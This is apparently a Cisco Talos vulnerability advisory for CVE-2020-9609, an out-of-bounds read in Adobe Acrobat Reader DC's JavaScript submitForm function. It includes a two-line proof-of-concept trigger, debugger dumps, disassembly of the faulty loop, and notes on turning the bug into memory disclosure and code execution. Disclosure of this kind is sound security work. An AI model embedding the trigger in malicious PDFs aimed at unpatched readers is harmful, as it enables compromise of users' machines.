Talos Vulnerability Report

TALOS-2020-1031

Adobe Acrobat Reader DC Javascript submitForm Remote Code Execution Vulnerability

May 12, 2020
CVE Number

CVE-2020-9609

Summary

A specific JavaScript code embedded in a PDF file can lead to out of bounds memory access when opening a PDF document in Adobe Acrobat Reader DC 2020.006.20034. With careful memory manipulation, this can lead to sensitive information disclose as well as memory corruption which can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Reader 2020.006.20034

Product URLs

https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-122 - Heap-based Buffer Overflow

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.

Javascript submitForm function is used to interactively submit form contents to an URL. There exists a bug in the way Adobe Acrobat processes unicode strings when calling this function which can result in reading of out of bounds memory.

Executing the following Javascript code inside a PDF document can trigger this vulnerability:

var a = "aa" + String.fromCharCode(0x4141)+String.fromCharCode(0x4141)+String.fromCharCode(0x4141)+String.fromCharCode(0x4141)+String.fromCharCode(0x4141);
try{app.activeDocs[0].submitForm(a);}catch(e){app.alert(a);}

First line constructs a string that will contain unicode characters because 16-bit values are pased to String.fromCharCode. Then the second line uses this string as an URL argument to the submitForm function. The vulnerability lies in the fact that the unicode string isn't properly terminated when converting between different types. We can observe this in the debugger:

eax=628aefe8 ebx=00000001 ecx=000000fe edx=fe956000 esi=628aefe8 edi=00000000
eip=62cc2a0c esp=0533b70c ebp=0533b710 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
IA32!PlugInMain+0x153c:
62cc2a0c e804440100      call    IA32!PlugInMain+0x15945 (62cd6e15)
0:000> dd esp
0533b70c  628aefe8 0533b780 62cc22a0 628aefe8
0533b71c  628aefe8 00000000 628aefe8 61204fe8
0533b72c  00000011 61204fe8 5f9b8fe8 62cc4690
0533b73c  00000005 00000000 00000000 00000000
0533b74c  00000000 00000000 00000000 00000000
0533b75c  00000000 00000000 00000010 628aefe8
0533b76c  00000000 00000000 00000000 00000000
0533b77c  00000000 0533b7c8 62cc4c99 61204fe8
0:000> db poi(esp)
628aefe8  fe ff 00 61 00 61 41 41-41 41 41 41 41 41 41 41  ...a.aAAAAAAAAAA
628aeff8  00 d0 d0 d0 d0 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ??  ........????????
628af008  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af018  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af028  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af038  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af048  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af058  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

In the above output, we can see our string on the stack being passed as a first argument to a function at IA32!PlugInMain+0x15945. Notice that it starts with UTF endinnaness marker. Also, notice that there is only one terminating NULL character by the end of the string. Function being called is simple:

62cd6e23 33d2           xor     edx, edx
62cd6e25 53             push    ebx
62cd6e26 8a01           mov     al, byte ptr [ecx]                              [1]
62cd6e28 8d4902         lea     ecx, [ecx+2]                                    [3]
62cd6e2b 8a59ff         mov     bl, byte ptr [ecx-1]                            [2]
62cd6e2e 84c0           test    al, al
62cd6e30 7504           jne     IA32!PlugInMain+0x15966 (62cd6e36)
62cd6e32 84db           test    bl, bl
62cd6e34 7405           je      IA32!PlugInMain+0x1596b (62cd6e3b)
62cd6e36 83c202         add     edx, 2                                          [4]
62cd6e39 ebeb           jmp     IA32!PlugInMain+0x15956 (62cd6e26)
62cd6e3b 8bc2           mov     eax, edx
62cd6e3d 5b             pop     ebx
62cd6e3e 5d             pop     ebp
62cd6e3f c3             ret     

Above code simply iterates over the supplied string reading it byte by byte at [1] and [2] and incrementing the index at [3]. If both values read at [1] and [2] are 0x00, the loop is terminated. Counter in edx is incremented at [4]. This is basically akin to strlen function but counts bytes of UTF string.

Since the supplied string isn't terminated with two NULL bytes, the loop will continue to read out of bounds memory into adjacent heap chunks and will keep incrementing the pointer until double NULL bytes are encountered. In case PageHeap is enabled, this will run into a guard page and crash with following:

(5c0.8c8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 9FA206:0
eax=628aefd0 ebx=000000d0 ecx=628af000 edx=00000018 esi=628aefe8 edi=00000000
eip=62cd6e26 esp=0533b700 ebp=0533b704 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
IA32!PlugInMain+0x15956:
62cd6e26 8a01            mov     al,byte ptr [ecx]          ds:002b:628af000=??
0:000> db ecx-20
628aefe0  c4 eb 34 19 bb bb ba dc-fe ff 00 61 00 61 41 41  ..4........a.aAA
628aeff0  41 41 41 41 41 41 41 41-00 d0 d0 d0 d0 d0 d0 d0  AAAAAAAA........
628af000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
628af050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Without PageHeap, the counter will increase further which would result in an erroneous length value which can lead to further memory corruption and disclosure of sensitive memory. This wrongfully calculated length of the string can further be abused to cause a leak of out of bounds memory. In Javascript context, this could be abused to bypass mitigations such as ASLR. Furthermore, wrong string length can be abused to cause adjacent heap memory overwrite which could lead to arbitrary code execution. It should be noted that there are some restriction on when submitForm function will actually be executed (by default only in the browser context, but there are other possibilities). Never the less, vulnerable code is always triggered.

Timeline

2020-03-24 - Vendor Disclosure
2020-05-12 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.